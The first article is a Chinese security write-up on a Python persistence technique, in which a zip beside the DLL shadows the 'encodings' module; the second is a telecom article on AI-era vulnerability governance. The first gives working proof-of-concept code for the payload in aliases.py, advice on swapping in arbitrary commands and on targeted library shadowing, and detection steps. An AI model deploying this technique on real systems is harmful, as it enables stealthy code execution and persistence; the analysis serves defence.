leaf="">python{主版本}{次版本}.zip，与版本严格匹配，错一个字不加载</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">生效硬约束</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">zip 必须与正在加载的 pythonXY.dll 同目录（取 DLL 位置，非 exe 位置）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">执行时机</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">解释器每次启动，import encodings 阶段，先于任何用户代码</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">载荷入口</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">zip 内 encodings 包，或任一非 frozen 的纯 Python 模块</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">持久化痕迹</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">无启动项、无计划任务、无可疑进程名</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">实锤检测</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">encodings.__file__ 指向 zip 内部路径</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">清除方式</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">删除恶意 zip 即可，无需改动任何签名文件</span></section></td></tr></tbody></table>
|
||||
|
||||
「位置靠前，意味着 zip 里的模块会盖掉标准库里的同名模块。」
|
||||
|
||||
|
||||
02
|
||||
|
||||
ROOT CAUSE
|
||||
### 根源：三重机制叠加出的执行路径
|
||||
|
||||
|
||||
这条链上
|
||||
|
||||
没有一处漏洞
|
||||
|
||||
，是三套合理设计叠加的结果。逐个拆解。
|
||||
|
||||
2.1 pythonw.exe 只负责把 DLL 拉起来
|
||||
|
||||
pythonw.exe 的全部源码不到 20 行，入口 wWinMain 的函数体只有一句 Py_Main；工程未写 SubSystem，继承公共属性表的默认值 Windows，链接器因此寻找 wWinMain 而非 main——这也是它
|
||||
|
||||
不弹黑窗口
|
||||
|
||||
的原因。参数解析、路径计算、模块加载都不在 exe 里发生。
|
||||
|
||||
2.2 getpath.py：sys.path 是一段 Python 代码算出来的
|
||||
|
||||
从 CPython 3.11 起，Windows 上的启动路径计算被改写为 Python 脚本 getpath.py，预编译成 marshal 字节码
|
||||
|
||||
冻结进 python314.dll
|
||||
|
||||
，初始化时由 C 侧执行：C 注入编译期常量、环境变量与可执行文件路径，跑完 getpath.py 后从 dict 里取回 sys.path。
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
调用链
|
||||
|
||||
pythonw.exe!wWinMain → Py_Main → Py_InitializeFromConfig
|
||||
|
||||
→ _PyConfig_InitPathConfig → getpath.c
|
||||
|
||||
→ PyEval_EvalCode(getpath.py) → 取回 sys.path
|
||||
|
||||
zip 的文件名来自一个模板，版本号由 C 侧注入：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
getpath.py
|
||||
|
||||
ZIP_LANDMARK = f'python{VERSION_MAJOR}{VERSION_MINOR}{PYDEBUGEXT or ""}.zip'
|
||||
|
||||
Release 版 3.14 出来就是 python314.zip，debug 构建是 python314_d.zip，自由线程构建是 python314t.zip。
|
||||
|
||||
名字错一个字都不会被加载
|
||||
|
||||
。
|
||||
|
||||
目录选择上，Windows 用的是 library_dir 而非 prefix，源码注释标了 QUIRK。library 是当前进程实际加载的 python314.dll 的完整路径，靠 DllMain 的副作用（进程加载时把 HMODULE 存进全局变量）经 GetModuleFileNameW 取得。对复现者这是一条硬约束：
|
||||
|
||||
zip 必须与 pythonXY.dll 同目录
|
||||
|
||||
，放 DLLs 子目录或别处都不生效。
|
||||
|
||||
更关键的差异在存在性检查。默认路径拼装是直接 append，而同文件另一处用 zip 反推 prefix 时是带 isfile 判断的：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
python
|
||||
|
||||
# 默认路径拼装：不检查 zip 是否存在
|
||||
|
||||
pythonpath.append(joinpath(library_dir, ZIP_LANDMARK))
|
||||
|
||||
|
||||
# 用 zip 反推 prefix：有 isfile 判断
|
||||
|
||||
if isfile(joinpath(library_dir, ZIP_LANDMARK)):
|
||||
|
||||
prefix = library_dir
|
||||
|
||||
直接后果是：即使解释器目录里根本没有 zip，sys.path 里照样会有这一条。本次复现做了对照实验——把 python313.zip 改名移走后重启，sys.path 输出中该路径
|
||||
|
||||
依然存在
|
||||
|
||||
。
|
||||
|
||||
2.3 zipimport：把 zip 变成可 import 的路径
|
||||
|
||||
sys.path 里有字符串只是第一步。zip 不是目录，FileFinder 读不了，需要 zipimport 注册成 path hook。它的注册位置是 path_hooks 的最前端：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
init_zipimport
|
||||
|
||||
sys.path_hooks.insert(0, zipimporter)
|
||||
|
||||
排在 index 0，意味着此后每个 sys.path 条目进来，导入系统都会先问 zipimporter。
|
||||
|
||||
2.4 encodings：启动必经、且不是 frozen
|
||||
|
||||
启动顺序上，zipimport 钩子先装好，encodings 的导入随后发生：_PyCodecRegistry_Init 主动 import encodings，因为解释器要处理字符串和 I/O 就得有编码系统。那为什么不是 os 或 codecs？因为它们是被
|
||||
|
||||
frozen
|
||||
|
||||
的：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
python
|
||||
|
||||
>>> import importlib.util, sys
|
||||
|
||||
>>> for n in ('encodings', 'codecs', 'site', 'zipimport', 'os', 'abc'):
|
||||
|
||||
... s = importlib.util.find_spec(n)
|
||||
|
||||
... print(f'{n:12} {type(s.loader).__name__:18} {s.origin}')
|
||||
|
||||
|
||||
encodings SourceFileLoader D:\SomeApp\Lib\encodings\__init__.py ← 不是 frozen
|
||||
|
||||
codecs type frozen
|
||||
|
||||
site type frozen
|
||||
|
||||
zipimport type frozen
|
||||
|
||||
os type frozen
|
||||
|
||||
abc type frozen
|
||||
|
||||
FrozenImporter 在 sys.meta_path 中位于 PathFinder 之前，冻结模块是内嵌在 python314.dll 里的字节码，在 sys.path 被搜索之前就解析完了。往 zip 里塞同名的 codecs.py 或 os.py，加载时根本不会看。encodings 是唯一一个走 SourceFileLoader、老老实实从 sys.path 上找的
|
||||
|
||||
启动必经模块
|
||||
|
||||
。
|
||||
|
||||
样本选 encodings 不是随手挑的——启动链上非 frozen 的模块里，就它一个。
|
||||
|
||||
于是 zip 在 sys.path[1]、Lib 在 sys.path[3]，zip 内的 encodings/__init__.py 会盖掉标准库那一份，而这个文件每次启动都会被导入。
|
||||
|
||||
|
||||
03
|
||||
|
||||
WHY IT WORKS
|
||||
### 产生原因：设计叠加出的攻击路径
|
||||
|
||||
|
||||
以下为分析观点：本章对攻击收益与动机的归因属分析意见；事实部分（签名状态、机制行为、遮蔽范围）已在第 1、2 章给出依据。
|
||||
|
||||
其一，
|
||||
**签名防线失效**
|
||||
|
||||
。三类文件里没有一个会被判为恶意。exe 与 dll 是官方发行版原文件，zip 是归档容器，签名体系天然只覆盖前两者。按「看签名、看证书链」的常规分析，样本确实挑不出毛病。
|
||||
|
||||
其二，
|
||||
**机制是分发设计而非漏洞**
|
||||
|
||||
。zip 进 sys.path 是给嵌入式分发用的标准机制；无条件 append 是为了让「zip 可选存在」这个设计成立；encodings 早导入是为了让解释器能处理编码。
|
||||
|
||||
三件事单独看都合理
|
||||
|
||||
，叠在一起就是一条稳定的执行路径。
|
||||
|
||||
其三，
|
||||
**遮蔽面不止 encodings**
|
||||
|
||||
。zip 排在 DLLs 与 Lib 之前，能盖掉的是所有非 frozen 的纯 Python 模块。encodings 只是「保证每次启动都执行」的最优解；如果目标是某个业务应用，zip 里放一个 requests/__init__.py 就够——那个时间点 builtins 已经完整，载荷写法没有限制。
|
||||
|
||||
其四，
|
||||
**形态可调**
|
||||
|
||||
。要每次启动必跑，盖 encodings；只针对某个应用，盖它依赖的第三方库；要体积小，一个 zip 塞几个模块即可。
|
||||
|
||||
必发型
|
||||
|
||||
遮蔽 encodings，每次解释器启动必执行，适合广撒网投放。
|
||||
|
||||
针对型
|
||||
|
||||
遮蔽目标业务依赖的第三方库，只对该应用生效，误触面小。
|
||||
|
||||
轻量型
|
||||
|
||||
一个 zip 只塞少数模块，体积与痕迹都压到最小。
|
||||
|
||||
全程不碰签名、不落可疑可执行文件、不加持久化项——「干净」本身就是这套手法的伪装。
|
||||
|
||||
|
||||
04
|
||||
|
||||
REPRODUCTION
|
||||
### 复现：本地完整复刻
|
||||
|
||||
|
||||
复现目标：在本地用官方 pythonw.exe（Python 3.13.12）复刻「同目录 zip 遮蔽 encodings」，
|
||||
|
||||
载荷仅弹计算器
|
||||
|
||||
。复现目录即当前工作目录，所有文件可审阅。
|
||||
|
||||
STEP 01
|
||||
还原官方解释器环境
|
||||
|
||||
从官方发行版复制 pythonw.exe、python313.dll、python3.dll 与 vcruntime 运行依赖到复现目录，并把 Lib 与 DLLs 通过 junction 指向官方标准库——保证解释器完整可用，与样本场景一致。
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
bash
|
||||
|
||||
cp <python目录>\pythonw.exe python313.dll python3.dll vcruntime140*.dll .
|
||||
|
||||
mklink /J Lib <python目录>\Lib
|
||||
|
||||
mklink /J DLLs <python目录>\DLLs
|
||||
|
||||
STEP 02
|
||||
构造 python313.zip
|
||||
|
||||
架构选择：zip 内 encodings/__init__.py 使用标准库原版（register 逻辑原样执行，对解释器零副作用），把 payload 前缀进 aliases.py——encodings 包被 zip 加载后，__init__.py 顶层的
|
||||
from . import aliases
|
||||
|
||||
必然导入 zip 内的这一份；同时把 encodings.__path__ 指回标准库目录，后续 codec 子模块照常加载。
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
python
|
||||
|
||||
# zip 内 encodings/aliases.py 的 payload 前缀
|
||||
|
||||
import ctypes
|
||||
|
||||
# 弹计算器：原文样本此处为内存加载 shellcode
|
||||
|
||||
ctypes.windll.user32.WinExecW("calc.exe", 5)
|
||||
|
||||
|
||||
import os, sys
|
||||
|
||||
os.write(os.open(rb".\PWNED.txt",
|
||||
|
||||
os.O_WRONLY | os.O_APPEND | os.O_CREAT, 0o600),
|
||||
|
||||
b"payload executed\n")
|
||||
|
||||
# codec 子模块的查找指回标准库
|
||||
|
||||
sys.modules["encodings"].__path__ = [sys.prefix + "\\Lib\\encodings"]
|
||||
|
||||
|
||||
aliases = { ... } # ── 以下为标准库原始 aliases.py 内容 ──
|
||||
|
||||
STEP 03
|
||||
运行验证
|
||||
|
||||
运行本目录的 pythonw.exe 加载探针脚本（pythonw 无控制台，结果写文件）。PWNED.txt 记录了执行证据：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
PWNED.txt
|
||||
|
||||
PoC: encodings.aliases in python313.zip executed
|
||||
|
||||
WinExec(calc.exe) rc: 42
|
||||
|
||||
探针同步记录的 encodings 实际加载位置：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
probe_out.txt
|
||||
|
||||
encodings.__file__ = E:\WXArt\pythonw\python313.zip\encodings\__init__.py
|
||||
|
||||
验证结果汇总：
|
||||
|
||||
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">验证项</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">结果</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">证据</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">zip 进入 sys.path</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">通过</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">探针输出含 python313.zip，位于 DLLs/Lib 之前</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">encodings 被遮蔽</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">通过</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">encodings.__file__ 指向 zip 内部</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">载荷每次启动必执行</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">通过</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">PWNED.txt 每次运行追加</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">计算器进程拉起</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">通过</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">WinExecW 返回值 42（大于 31 为成功句柄）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">解释器行为正常</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">通过</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">退出码 0，codecs 对 utf-8 查找正常</span></section></td></tr></tbody></table>
|
||||
|
||||
NOTE
|
||||
|
||||
复现实测发现的两个时序坑：其一，encodings 导入阶段 builtins 里还没有 open（io.open 尚未注入），此时 open() 抛 NameError，用 str 路径还会触发文件系统编码查找、抛 LookupError——文件 I/O 必须改用
|
||||
os.open / os.write
|
||||
|
||||
加 bytes 路径；其二，user32.dll 只导出 WinExecA / WinExecW，没有 WinExec，ctypes.windll.user32.WinExec 会直接 AttributeError。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
05
|
||||
|
||||
PAYLOAD
|
||||
### 使用与载荷定制：从弹计算器到自定义命令
|
||||
|
||||
|
||||
载荷全部集中在 zip 内 aliases.py 的前缀，
|
||||
|
||||
改写代价只有一个文件
|
||||
|
||||
，且不触碰任何签名文件。以下给出从验证到定制的路径。
|
||||
|
||||
STEP 01
|
||||
弹计算器（最小验证）
|
||||
|
||||
已验证：
|
||||
|
||||
WinExecW("calc.exe", 5)
|
||||
|
||||
返回值 42。这是无害的执行成功信号，替代真实样本的内存 shellcode。
|
||||
|
||||
STEP 02
|
||||
自定义执行命令
|
||||
|
||||
把字符串换成任意命令即可。以执行系统命令为例：
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
python
|
||||
|
||||
import ctypes
|
||||
|
||||
ctypes.windll.user32.WinExecW(
|
||||
|
||||
'cmd.exe /c whoami > C:\\tmp\\out.txt 2>&1', 0)
|
||||
|
||||
习惯 PowerShell 就换成
|
||||
powershell -c "..."
|
||||
；需要等待结束用 os.system，需要拿输出用
|
||||
subprocess.run
|
||||
|
||||
——此阶段 builtins 虽不完整，但 os、sys、ctypes 与标准库导入机制都可用。注意路径与引号在 WinExecW 里的转义。
|
||||
|
||||
STEP 03
|
||||
内存执行形态
|
||||
|
||||
真实样本的做法是在此用 ctypes 内存加载 shellcode：VirtualAlloc 分配、memcpy 写入、CreateThread 执行，全程不落可执行文件。本文不复现该步骤，仅指出入口位置。
|
||||
|
||||
STEP 04
|
||||
针对性投递
|
||||
|
||||
把 encodings 换成目标业务依赖的模块（如
|
||||
requests/__init__.py
|
||||
|
||||
），载荷只在使用该库的应用启动时触发，隐蔽性更高、误触面更小。
|
||||
|
||||
以上定制仅限授权环境下的验证与防御研究。载荷文件就是 zip 内的一个 .py，删除即失效；签名文件全程零改动。
|
||||
|
||||
|
||||
06
|
||||
|
||||
DEFENSE
|
||||
### 检测与清除
|
||||
|
||||
|
||||
排查分两条线：
|
||||
|
||||
目录侧看 zip 是否存在
|
||||
|
||||
，运行时看模块实际指向。
|
||||
|
||||
STEP 01
|
||||
目录侧排查
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
cmd
|
||||
|
||||
dir <python目录>\python*.zip
|
||||
|
||||
rem 覆盖 debug（_d）与自由线程（t）构建
|
||||
|
||||
dir <python目录>\python3*_d.zip <python目录>\python3*t.zip
|
||||
|
||||
官方安装包不生成 pythonXY.zip，
|
||||
|
||||
解释器目录一旦出现即需人工研判
|
||||
|
||||
。
|
||||
|
||||
STEP 02
|
||||
运行时确认
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
python
|
||||
|
||||
# 探针（pythonw 无控制台，输出写文件）
|
||||
|
||||
import encodings
|
||||
|
||||
open(r"C:\tmp\chk.txt", "w").write(encodings.__file__)
|
||||
|
||||
正常结果应为
|
||||
<python目录>\Lib\encodings\__init__.py
|
||||
|
||||
；若指向
|
||||
<python目录>\pythonXY.zip\encodings\__init__.py
|
||||
|
||||
，即为实锤失陷。
|
||||
|
||||
NOTE
|
||||
|
||||
sys.path 中出现 zip 路径不等于中招——getpath.py 无条件 append，正常环境也如此；判据只有 encodings.__file__ 的实际指向。
|
||||
|
||||
确认后删除恶意 zip 即可，无需改动任何签名文件；若同一环境多次出现或怀疑被持续利用，
|
||||
|
||||
按入侵事件流程重装解释器与依赖
|
||||
|
||||
。
|
||||
|
||||
|
||||
07
|
||||
|
||||
SOURCES
|
||||
### 参考
|
||||
|
||||
|
||||
1
|
||||
[pythonw？也可能是木马？](https://mp.weixin.qq.com/s?__biz=MzU4NTg4MzIzNA==&mid=2247485046&idx=1&sn=d3b48742e29c8d15bdee1a815c08b150&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
∞
|
||||
|
||||
THE END
|
||||
### 结语
|
||||
|
||||
|
||||
把链路收束成一句话：空壳 exe 把 DLL 拉起来，DLL 里冻结的 getpath.py 无条件把同目录 zip 排上启动搜索位，zipimport 让 zip 可被导入，encodings 作为启动必经的非 frozen 模块替攻击者完成加载。
|
||||
|
||||
「没有漏洞被利用，只有设计被叠加——而叠加的每一环，单独看都合理。」
|
||||
|
||||
END
|
||||
|
||||
我是
|
||||
网络安全透视镜
|
||||
|
||||
如果你觉得今天这篇有收获，欢迎
|
||||
**点赞、在看、转发**
|
||||
|
||||
三连，我们下篇见。
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
# 专题·原创 | 人工智能时代电信运营商漏洞安全治理体系重构与实践
|
||||
原创 张峰等
|
||||
张峰等 中国信息安全 2026-09-30 10:21
|
||||
|
||||
[](https://cisat.cn/all/14915419?from_tag=1)
|
||||
|
||||
|
||||
|
||||
**张峰**
|
||||
|
||||
文 | 中国移动通信集团有限公司 张峰 刘钊 崔庆虎 李艳东
|
||||
|
||||
随着5G-A、算力网络、云原生、物联网规模化落地，电信运营商资产体量呈指数级扩张，传统依赖人工经验和静态扫描的漏洞治理模式已难以应对人工智能（AI）驱动的攻防对抗。大模型、安全智能体覆盖漏洞挖掘、代码审计、风险研判、修复验证的全业务链路，推动防护体系由经验驱动转向智能驱动。但AI工具自身的提示词注入、模型幻觉、智能体越权等新型安全风险随之凸显，构成“以AI赋能漏洞治理，同步防护AI自身安全”的双重治理命题。
|
||||
|
||||
|
||||
**一、漏洞治理进入人工智能博弈全新发展阶段**
|
||||
|
||||
|
||||
当前，网络安全攻防已全面进入AI赋能的新阶段。攻击者依托大模型大幅压缩漏洞武器化周期，导致传统防御手段的效率差距持续拉大。与此同时，各类大模型与安全智能体自身漏洞持续集中爆发，叠加国家AI安全监管政策密集落地，漏洞治理正式进入攻防双向智能化、风险双重叠加的全新发展阶段。
|
||||
|
||||
（一）攻防效率差距持续拉大，传统处置体系难以为继
|
||||
|
||||
在攻击侧，Anthropic于2026年4月发布Claude Mythos Preview，其在CyberGym漏洞复现基准中达到83.1%的成功率，可自主发现数千个零日漏洞，将漏洞发现、验证与利用代码生成推进至可规模化复制的自动化流程。派拓网络（Palo Alto Networks）于2026年5月公布的内部测试结果显示，基于多款前沿大模型开展AI辅助漏洞分析，仅需3周即可完成等效于顶级渗透测试团队1年的工作量。在攻击速度方面，Palo Alto Networks发布了《2022年Unit 42事件响应报告》，其记录了攻击者可在CVE公开后15分钟内启动全网扫描；在AI驱动下，漏洞武器化周期进一步从传统数周乃至数月压缩至小时级。Mashable援引ZDI数据显示，2026年4月由AI发现的漏洞报告量同比激增490%。Google《M-Trends 2026》则指出，漏洞平均利用时间已较补丁发布提前约7天。
|
||||
|
||||
在防御侧，奇安信发布的《2025年中网络安全漏洞威胁态势研究报告》显示，漏洞整体平均修复时间为39.6天，而半数漏洞公开后3天内即遭利用，攻防时间差悬殊；传统SAST、DAST工具基于规则匹配和已知漏洞模式进行检测，对私有协议、微服务跨链路逻辑漏洞检出能力有限，致使大量逻辑类漏洞仍需人工经验介入，海量告警进一步加剧甄别压力。叠加《AI时代网络安全产业人才发展报告（2025）》指出的全球480万网络安全人才缺口，单纯依赖人工处置的传统模式已难以为继。
|
||||
|
||||
（二）人工智能系统安全风险快速蔓延，形成双向并行安全压力
|
||||
|
||||
据国家信息安全漏洞库（CNNVD）统计，2026年以来AI相关重要漏洞持续高发，仅2026年前两个月，CNNVD就收录OpenClaw相关漏洞82个（超危、高危占比约40%），涵盖远程代码执行（CVE-2026-28466，CVSS 4.0评分9.4）、认证绕过、沙箱逃逸等高风险缺陷。OWASP发布了《智能体应用十大安全风险（2026版）》，梳理出目标劫持、工具误用与利用、身份与特权滥用、记忆与上下文投毒、级联故障等十大原生风险。用于漏洞挖掘的安全智能体往往需要获取内网扫描、全量代码读取等高权限，一旦遭提示注入或样本投毒劫持，将导致资产拓扑、未公开高危漏洞大规模外泄，其危害远超普通业务漏洞。
|
||||
|
||||
国家层面已初步形成多层治理体系。《生成式人工智能服务管理暂行办法》要求具有舆论属性或社会动员能力的AI服务开展安全评估并履行算法备案；《智能体规范应用与创新发展实施意见》要求操作不得超出授权范围、建立行为可追溯机制；《人工智能安全治理框架》2.0版要求定期披露模型算法审计。实践中，面向关键信息基础设施的生产级大模型与智能体，普遍执行专项安全评估、最小权限与全链路审计。CNNVD已于2026年4月启动国家人工智能安全漏洞库（AIVD），推动企业同步搭建漏洞智能化与AI内生安全两套并行管控架构。
|
||||
|
||||
|
||||
**二、人工智能时代基础电信企业面临多重系统性治理挑战**
|
||||
|
||||
|
||||
在AI技术重塑漏洞全流程的背景下，电信行业数十年建设积累的网络架构、资产管理模式、研判流程、管理制度存在固有短板，在AI高速攻击、海量告警和新型AI风险冲击下，其带来的安全风险持续放大。当前，这些短板集中体现为以下四大系统性难题。
|
||||
|
||||
（一）动态资产全域可视能力不足，智能挖掘缺少精准底座
|
||||
|
||||
电信网络包含5G基站、核心网、移动云、政企平台、海量物联网终端，资产长期处于新增、下线、闲置的动态循环。传统按季度人工盘点更新滞后，大量临时测试环境、下线虚拟资源形成无台账的影子资产，AI扫描工具仅能覆盖已登记设备，边缘盲区极易成为AI自动化渗透跳板。CNNVD高危漏洞预警下发后，企业无法快速精准定位全网受影响资产，批量隔离、整改处置严重滞后。同时，现有资产台账仅记录设备基础信息，并未关联业务权重、数据敏感等级、公网暴露范围，致使AI风险评估模型难以完成精准分级。海量漏洞只能统一推送整改工单，加之有限的安全人力难以聚焦核心业务高危隐患，资产底数不清已成为制约智能化工具发挥价值的瓶颈。
|
||||
|
||||
（二）漏洞研判高度依赖专家，无法承接AI海量输出
|
||||
|
||||
传统漏洞处置全流程依靠人工完成情报解析、告警甄别、攻击链路推演，AI扫描与代码审计工具规模化部署后，每日产出大量原始告警，叠加每日更新的海外漏洞公告，人工逐条处理消耗大量安全人力。通信私有协议、定制化政企业务缺少公开漏洞标注样本，普通安全人员难以区分AI输出的真实缺陷与模型幻觉生成的虚假漏洞，复核校验成本居高不下。现有工具普遍不具备自动攻击链推演能力，AI发现单点漏洞后仍需人工梳理横向移动路径，工具无法直接支撑主动防御策略制定，AI带来的告警增量反而加重了安全团队负担，智能化提质增效的目标难以落地。
|
||||
|
||||
（三）软件供应链存在检测盲区，难以抵御AI定向攻击
|
||||
|
||||
电信运营商业务由自研代码、第三方固件、海量开源组件多层构成，传统SAST工具主要依赖规则匹配和已知漏洞模式检测，无法识别开源同源变体、业务定制新增逻辑缺陷。攻击者依托大模型快速解析软件技术栈，生成定制化利用载荷，供应链攻击门槛大幅降低。同时，传统安全手段仅支持上线前的单次扫描，未集成至持续集成与持续部署（CI/CD）流水线开展增量AI审计，代码迭代过程中新增缺陷无法及时拦截，致使大量供应链漏洞流入现网，持续扩大攻击面。AI驱动的自动化攻击将进一步放大此类盲区带来的安全损失。
|
||||
|
||||
（四）现有管理制度未覆盖AI新型风险，管控亟待完善
|
||||
|
||||
原有漏洞管理规范仅覆盖传统软硬件设备，缺少针对大模型、安全智能体的专项约束条款。准入环节缺少提示注入、模型幻觉、越权调用等强制评测流程；运行环节未划分靶场与生产智能体分级权限，高危操作的人工审批缺少制度依据；数据层面缺少漏洞样本、业务代码脱敏留存规范；应急层面缺少智能体劫持、知识库投毒等新型事件处置预案。制度建设滞后于AI落地速度，智能化平台上线后产生的新型风险缺少标准化管控流程与追责机制，双重安全目标缺乏制度刚性支撑。
|
||||
|
||||
|
||||
**三、中国移动人工智能驱动漏洞治理创新应对体系**
|
||||
|
||||
|
||||
针对行业四大系统性短板，中国移动依托九天·泰合安全大模型、MoMA移动模型服务平台，搭建“制度双轨、四层技术平台、AI全生命周期防护、实战育才、产业协同”五位一体全生命周期治理体系，同步兼顾AI赋能漏洞挖掘、AI自身安全防护双重目标。整套体系以国家AI相关法律法规及政策文件为顶层依据，对内打通资产、漏洞、AI工具统一管控链路，对外建立国家级常态化协同通道，从制度、技术、人才、生态多维度补齐行业各类短板，形成适配通信云网场景的智能化治理实践路径，为行业智能化转型提供落地参考。
|
||||
|
||||
（一）构建双轨制度框架，搭建内外协同治理机制
|
||||
|
||||
中国移动在既有《网络产品安全漏洞管理规定》及《中国移动网络产品安全漏洞管理办法》基础上，进一步制定了《中国移动人工智能风险防控工作指引》与《中国移动人工智能应用安全管理办法》，并配套制定了涵盖大模型备案、智能体安全、具身智能、数据投毒防护、一体机安全等领域的9项制度规范与技术指引，由此形成传统漏洞管理与AI风险防控并行运转的双轨治理体系。
|
||||
|
||||
在外部协同方面，中国移动于2026年牵头起草全球首部强制性国家标准《智能体应用安全基本要求》，联合20余家产学研单位完成总体框架设计，并参与支撑全国网络安全标准化技术委员会（TC260）编制《智能体安全标准化研究》，同步参与AI漏洞相关行业标准研讨。同时，配套增设AI漏洞挖掘专项奖励，鼓励网信安全蓝军依托大模型能力挖掘通信私有协议漏洞，持续扩充行业稀缺标注样本库，以激励机制提升能力建设，推动内外协同治理落地见效。
|
||||
|
||||
（二）四层一体化智能技术平台，解决行业核心技术痛点
|
||||
|
||||
中国移动正着力构建“资产测绘—多智能体挖掘—AI代码审计—多因子处置”的四层闭环能力架构，实现对漏洞从发现到修复全生命周期的系统性覆盖。
|
||||
|
||||
资产测绘层融合网管、云平台及流量数据构建资产图神经网络，可自动识别影子资产，并在高危预警触发后迅速定位受影响设备，大幅缩短应急响应窗口。
|
||||
|
||||
多智能体挖掘层采用规划、测试、验证等多智能体协同分工机制，在隔离环境中完成漏洞验证与概念验证（PoC）自动生成，落地“AI初筛+专家终审”的人机协同研判模式，显著压缩漏洞分析周期，提升研判效率。
|
||||
|
||||
AI代码审计层搭建知识图谱、污点追踪、检索增强生成（RAG）推理与沙箱验证四层子架构，深度嵌入开发安全运营（DevSecOps）流程，相较于传统静态分析工具，在逻辑漏洞检出能力和误报控制方面均有改善，有效减轻安全团队的人力负担。
|
||||
|
||||
多因子处置层则自动划分修复优先级，依托标准化设备实现修复脚本的自动下发与复测，形成从发现到验证的全线上自动化闭环处置链路。
|
||||
|
||||
四层协同联动，贯穿漏洞发现、分析、修复、验证全流程，系统性提升了企业级安全运营的智能化水平与响应能力。
|
||||
|
||||
（三）AI全生命周期防护，化解智能体原生安全风险
|
||||
|
||||
中国移动对标国家AI治理政策要求，并衔接《智能体应用安全基本要求》等标准框架，搭建覆盖上线评测、运行管控、工具链安全的完整AI防护体系。
|
||||
|
||||
